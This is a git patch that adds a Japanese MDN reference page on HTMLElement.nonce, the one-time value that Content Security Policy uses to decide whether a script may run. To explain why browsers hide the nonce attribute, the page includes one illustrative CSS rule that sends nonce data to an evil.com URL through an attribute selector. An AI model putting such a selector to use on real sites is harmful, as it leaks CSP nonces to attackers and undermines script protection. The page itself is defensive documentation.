From ede8167be634194a14f76f6d45485b8891bcdb35 Mon Sep 17 00:00:00 2001 From: Masahiro FUJIMOTO Date: Fri, 30 Jul 2021 13:16:49 +0900 Subject: orphaned/Web/API/HTMLOrForeignElement のメンバーを HTMLElement へ移動 (#1595) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * orphaned/Web/API/HTMLOrForeignElement のメンバーを HTMLElement へ移動 --- files/ja/web/api/htmlelement/nonce/index.html | 63 +++++++++++++++++++++++++++ 1 file changed, 63 insertions(+) create mode 100644 files/ja/web/api/htmlelement/nonce/index.html (limited to 'files/ja/web/api/htmlelement/nonce') diff --git a/files/ja/web/api/htmlelement/nonce/index.html b/files/ja/web/api/htmlelement/nonce/index.html new file mode 100644 index 0000000000..230781b021 --- /dev/null +++ b/files/ja/web/api/htmlelement/nonce/index.html @@ -0,0 +1,63 @@ +--- +title: HTMLElement.nonce +slug: Web/API/HTMLElement/nonce +tags: + - API + - Content Security Policy + - Experimental + - HTML DOM + - HTMLElement + - Property + - Reference + - nonce +translation_of: Web/API/HTMLElement/nonce +original_slug: Web/API/HTMLElement/nonce +--- +
{{APIRef("HTML DOM")}}
+ +

nonce は {{DOMxRef("HTMLElement")}} ミックスインのプロパティで、特定のフェッチを続行できるかどうかを決定するためにコンテンツセキュリティポリシー (Content Security Policy) で使用される一度だけの暗号化番号を返します。

+ +

後の実装では、 nonce 属性を持つ要素はスクリプトにのみ公開します (CSS 属性セレクターのようなサイドチャネルには公開しません)。

+ +

+ +

ノンス値の受け取り

+ +

以前は、すべてのブラウザーが IDL 属性の nonce に対応しているわけではなかったので、回避策としては、代替として getAttribute を使用するようにしていました。

+ +
let nonce = script['nonce'] || script.getAttribute('nonce');
+ +

しかし、最近のバージョンのブラウザーでは、この方法でアクセスすると nonce の値を隠します (空の文字列が返されます)。 IDL プロパティ (script['nonce']) がノンスにアクセスする唯一の方法となります。

+ +

ノンスを隠蔽することは、攻撃者が以下のようなコンテンツ属性からデータを取得できるメカニズムを介してノンスデータを流出させることを防ぐのに役立ちます。

+ +
script[nonce~=whatever] {
+  background: url("https://evil.com/nonce?whatever");
+}
+ +

仕様書

+ + + + + + + + + + + + +
仕様書
{{SpecName('HTML WHATWG','#attr-nonce','nonce')}}
+ +

ブラウザーの互換性

+ +

{{Compat("api.HTMLElement.nonce")}}

+ +

関連情報

+ + -- cgit v1.2.3-54-g00ecf